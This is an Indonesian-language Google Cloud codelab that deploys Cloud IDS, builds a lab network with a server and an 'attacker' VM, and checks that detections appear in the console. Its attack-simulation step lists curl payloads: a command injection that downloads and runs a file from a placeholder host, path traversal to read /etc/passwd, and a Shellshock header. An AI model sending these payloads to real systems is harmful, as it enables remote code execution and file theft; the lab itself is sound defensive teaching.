Cloud IDS

1. Pengantar

Di lab ini, Anda akan men-deploy Cloud IDS, layanan deteksi penyusupan canggih generasi berikutnya yang menyediakan deteksi ancaman untuk intrusi, malware, spyware, serta serangan perintah dan kontrol. Anda akan menyimulasikan beberapa serangan dan melihat detail ancaman di Konsol Cloud.

Yang akan Anda pelajari

  • Cara membuat endpoint Cloud IDS
  • Cara membuat 2 virtual machine dengan perintah gcloud
  • Cara membuat kebijakan duplikasi paket
  • Cara menyimulasikan traffic serangan dari virtual machine
  • Cara melihat detail ancaman di Cloud Console dan Cloud Logging

Yang Anda butuhkan

  • Pengetahuan tentang perintah Linux dasar

2. Kasus penggunaan Cloud IDS

Cloud IDS menyediakan Layanan Deteksi Penyusupan (IDS) Generasi Berikutnya yang bersifat native Google Cloud bagi pelanggan untuk memenuhi persyaratan deteksi ancaman tingkat lanjut dan kepatuhan mereka seperti PCI 11.4. Layanan ini didukung oleh teknologi perlindungan terhadap ancaman dari Palo Alto Networks untuk memberikan deteksi intrusi tingkat lanjut. Dengan menggabungkan infrastruktur kelas dunia Google Cloud dengan keamanan kelas dunia dari Palo Alto Networks, pelanggan akan mendapatkan kombinasi yang tak tertandingi dari layanan deteksi ancaman tingkat lanjut yang dikelola sepenuhnya, berperforma tinggi, dan memiliki efikasi keamanan tertinggi.

Saat pelanggan bermigrasi ke cloud, keamanan menjadi prioritas utama bagi mereka. Mereka ingin memiliki kontrol keamanan serupa seperti yang mereka miliki di lokal, seperti Layanan deteksi intrusi (IDS) di cloud. Mereka lebih memilih untuk menggunakan solusi IDS terkelola yang cloud-native karena kemudahan deployment, performa tinggi, dan biaya yang dioptimalkan dibandingkan dengan men-deploy solusi keamanan pihak ketiga dan mengelola infrastruktur atau menggunakan tanda tangan mereka sendiri. Google Cloud IDS menyediakan layanan IDS terkelola end-to-end dan penskalaan otomatis yang memungkinkan pelanggan menghabiskan waktu untuk menganalisis dan memitigasi ancaman serta membebaskan waktu dan resource mereka untuk mengelola infrastruktur atau signature ancaman.

Cloud IDS di-deploy di luar band dan dapat mendeteksi serta memberikan pemberitahuan tentang ancaman, tetapi tidak dapat memblokir ancaman. Layanan ini memanfaatkan Duplikasi Paket Google Cloud untuk membuat salinan traffic jaringan yang dianalisis menggunakan mesin deteksi ancaman Palo Alto Networks.

3. Topologi codelab

5a276f399e1d31e2.png

Gambar 1. Ringkasan arsitektur tingkat tinggi deployment Cloud IDS untuk lab ini.

4. Penyiapan dan Persyaratan

Penyiapan lingkungan mandiri

  1. Login ke Google Cloud Console dan buat project baru atau gunakan kembali project yang sudah ada. Jika belum memiliki akun Gmail atau Google Workspace, Anda harus membuatnya.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Project name adalah nama tampilan untuk peserta project ini. String ini adalah string karakter yang tidak digunakan oleh Google API, dan Anda dapat memperbaruinya kapan saja.
  • Project ID harus unik di semua project Google Cloud dan tidak dapat diubah (tidak dapat diubah setelah ditetapkan). Cloud Console otomatis menghasilkan string unik; biasanya Anda tidak peduli dengan kata-katanya. Pada sebagian besar codelab, Anda harus mereferensikan Project ID (dan biasanya diidentifikasi sebagai PROJECT_ID). Jadi, jika Anda tidak menyukainya, buat ID acak lain, atau, Anda dapat mencoba sendiri dan melihat apakah tersedia. Kemudian file akan "dibekukan" setelah project dibuat.
  • Ada nilai ketiga, Nomor Project yang digunakan oleh beberapa API. Pelajari lebih lanjut ketiga nilai ini di dokumentasi.
  1. Selanjutnya, Anda harus mengaktifkan penagihan di Cloud Console untuk menggunakan API/resource Cloud. Menjalankan operasi dalam codelab ini seharusnya tidak memerlukan banyak biaya, bahkan mungkin tidak sama sekali. Untuk menonaktifkan resource agar tidak menimbulkan penagihan di luar tutorial ini, ikuti petunjuk "pembersihan" yang ada di akhir codelab. Pengguna baru Google Cloud memenuhi syarat untuk mengikuti program Uji Coba Gratis senilai $300 USD.

Mulai Cloud Shell

Meskipun Google Cloud dapat dioperasikan dari jarak jauh menggunakan laptop Anda, dalam codelab ini, Anda akan menggunakan Google Cloud Shell, lingkungan command line yang berjalan di Cloud.

Dari Konsol GCP, klik ikon Cloud Shell di toolbar kanan atas:

bce75f34b2c53987.png

Hanya perlu waktu beberapa saat untuk penyediaan dan terhubung ke lingkungan. Jika sudah selesai, Anda akan melihat tampilan seperti ini:

f6ef2b5f13479f3a.png

Mesin virtual ini berisi semua alat pengembangan yang Anda perlukan. Layanan ini menawarkan direktori beranda tetap sebesar 5 GB dan beroperasi di Google Cloud, sehingga sangat meningkatkan performa dan autentikasi jaringan. Semua pekerjaan Anda di lab ini dapat dilakukan hanya dengan browser.

5. Sebelum memulai

Mengaktifkan API

Di dalam Cloud Shell, pastikan project ID Anda sudah disiapkan

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Aktifkan semua layanan yang diperlukan

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. Buat jaringan VPC

Jaringan VPC

Dari Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Subnet

Dari Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Akses Layanan Pribadi

Dari Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service Connection

Dari Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Aturan Firewall

Untuk mengizinkan IAP terhubung ke instance VM Anda, buat aturan firewall yang:

  • Berlaku untuk semua instance VM yang ingin Anda akses menggunakan IAP.
  • Mengizinkan traffic masuk dari rentang IP 35.235.240.0/20. Rentang ini berisi semua alamat IP yang digunakan IAP untuk penerusan TCP.

Dari Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Untuk mengizinkan port HTTP standar (TCP 80) dan protokol ICMP ke server:

  • Berlaku untuk resource dengan tag jaringan "server"
  • Mengizinkan ingress dari semua sumber

Dari Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Buat instance Cloud NAT

Cloud Router

Dari Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Dari Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Membuat endpoint Cloud IDS

Di bagian ini, Anda akan membuat Endpoint Cloud IDS di us-east1, dengan tingkat keparahan yang ditetapkan ke informasi. Pembuatan endpoint IDS memerlukan waktu sekitar 20 menit.

Endpoint IDS

Dari Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Memverifikasi bahwa endpoint Cloud IDS telah dimulai

gcloud ids endpoints list --project=$PROJECT_ID

Output -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. Buat 2 Virtual Machine

Di bagian ini, Anda akan membuat 2 virtual machine. Yang pertama adalah server web Anda yang mencerminkan Cloud IDS. Mesin virtual kedua akan menjadi sumber traffic serangan Anda.

Virtual Machine 1 (Server)

Dari Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Virtual Machine 2 (Klien)

Dari Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Mempersiapkan Server

Dalam tugas ini, Anda akan memvalidasi server dan menyediakan payload malware yang tidak berbahaya untuk klien.

Menghubungkan SSH ke VM melalui Cloud Shell

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Memastikan layanan web berjalan

sudo systemctl status nginx

Output - verifikasi aktif dan berjalan

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Ubah direktori ke layanan web

cd /var/www/html/

Buat file malware tidak berbahaya di server web

sudo touch eicar.file

Tempelkan konten

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Kembali ke Cloud Shell

exit

Membuat kebijakan duplikasi paket Cloud IDS

Identifikasi Aturan Penerusan Endpoint IDS dan konfirmasi bahwa status Endpoint IDS adalah "SIAP".

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Contoh Output - Salin nilai dari "endpointForwardingRule"

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Simpan Aturan Penerusan Endpoint IDS ke dalam variabel.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Kebijakan Duplikasi Paket

Dari Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Memverifikasi bahwa kebijakan duplikasi paket telah dibuat

Dari Cloud Shell

gcloud compute packet-mirrorings list

Output

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Menyimulasikan traffic serangan

Hubungkan SSH ke virtual machine penyerang (Klien)

Dari Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Jalankan permintaan curl berikut untuk menyimulasikan traffic berbahaya.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

Keluar dari VM untuk kembali ke Cloud Shell

exit

11. Meninjau ancaman yang terdeteksi oleh Cloud IDS

Buka Dasbor Cloud IDS

Navigation Menu > Network Security > Cloud IDS

37583419aa604aa8.png

Buka tab Threats.

b7d934f409b4e2b.png

Seperti yang dapat Anda lihat, Cloud IDS merekam berbagai profil traffic serangan dan memberikan detail tentang setiap ancaman. Anda mungkin perlu mengklik tombol "Muat ulang" jika tidak melihat ancaman apa pun. Sekarang kita akan membahas lebih dalam dan melihat detail ancaman.

Temukan ancaman "Bash Remote Code Execution Vulnerability", klik tiga titik di sebelah kanan, lalu pilih "Lihat detail ancaman"

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Sekarang kita akan melihat detail insiden ini di Cloud Logging. Kembali ke halaman Ancaman dengan mengklik panah yang mengarah ke kiri .

Klik tiga titik di sebelah kanan, lalu pilih "Lihat log ancaman".

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Detail yang sama diberikan ke Cloud Logging. Dengan begitu, Anda dapat mengirim log ke Cloud Storage, Chronicle, atau SIEM/SOAR apa pun. Anda juga dapat membuat alur kerja kustom untuk melakukan tindakan perbaikan berdasarkan pemberitahuan, misalnya membuat fungsi cloud yang dipicu oleh pemberitahuan dan membuat/memperbarui aturan firewall untuk memblokir alamat IP, atau membuat/memperbarui kebijakan Cloud Armor.

12. Langkah-langkah pembersihan

Keluar dari instance VM (semua tab)

exit

Menghapus komponen lab dari satu terminal Cloud Shell

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Selamat!

Selamat, Anda telah menyelesaikan codelab.

Yang telah kita bahas

  • Kasus penggunaan Cloud IDS
  • Persyaratan jaringan
  • API yang didukung
  • Membuat endpoint Cloud IDS
  • Men-deploy 2 VM
  • Membuat beberapa traffic "serangan" dari klien
  • Ancaman terverifikasi terdeteksi oleh IDS
  • Meninjau detail dan log ancaman